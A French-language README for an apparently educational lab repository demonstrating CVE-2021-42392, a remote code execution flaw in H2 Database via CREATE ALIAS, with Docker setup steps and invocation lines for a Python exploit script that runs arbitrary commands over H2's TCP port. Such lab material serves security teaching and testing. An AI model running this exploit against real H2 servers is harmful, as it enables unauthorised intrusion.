
# Laboratoire pédagogique démontrant la RCE CVE-2021-42392 dans H2 Database via CREATE ALIAS, avec serveur vulnérable dockerisé et script d'exploitation Python pour tests isolés.
Ce dépôt fournit un environnement minimal et contrôlé pour tester la vulnérabilité d'exécution de code à distance de H2 Database (CVE-2021-42392) en utilisant la fonctionnalité CREATE ALIAS. Contrairement à de nombreuses démonstrations, cet exploit cible directement le service TCP H2 (généralement sur le port 9092), sans passer par la console Web H2.
🛑 À des fins éducatives et de test uniquement. Ne l'utilisez pas sur des systèmes que vous ne possédez pas ou sans autorisation explicite.
CVE-2021-42392 est une vulnérabilité critique dans les versions d'H2 Database antérieures à 2.0.206 qui permet l'exécution de code à distance via CREATE ALIAS si la base de données est exposée via TCP ou via la console Web.
Ce projet inclut :
2.0.202jaydebeapi et JPypeAvec Docker :
Si vous exécutez l'exploitation en dehors de Docker :
git clone https://github.com/Be-Innova/CVE-2021-42392-exploit-lab
cd h2-cve-2021-42392-poc
docker compose build
docker compose up -d
docker compose exec client bash
python3 h2_exploit.py --url jdbc:h2:tcp://h2-vulnerable\:9092/~/test --cmd "touch /tmp/pwned" --jar /jars/h2.jar
python3 h2_exploit.py --url <jdbc-url> --cmd "<command>" --jar "path-to-jar"
Arguments :
--url : URL JDBC de l'instance H2 vulnérable (ex. jdbc:h2:tcp://192.168.1.100\:9092/~/test)
--cmd : Commande à exécuter sur le serveur vulnérable
--jar : Chemin optionnel vers le JAR du pilote H2 (par défaut : /jars/h2.jar)
Port 9092 ouvert sur la base de données H2 vulnérablejavac installé sur le serveur exécutant la base de données vulnérableCe code est fourni tel quel à des fins éducatives et de tests d'intrusion éthiques dans des environnements isolés. Ne l'utilisez pas sur des systèmes non autorisés. L'auteur décline toute responsabilité en cas d'utilisation abusive.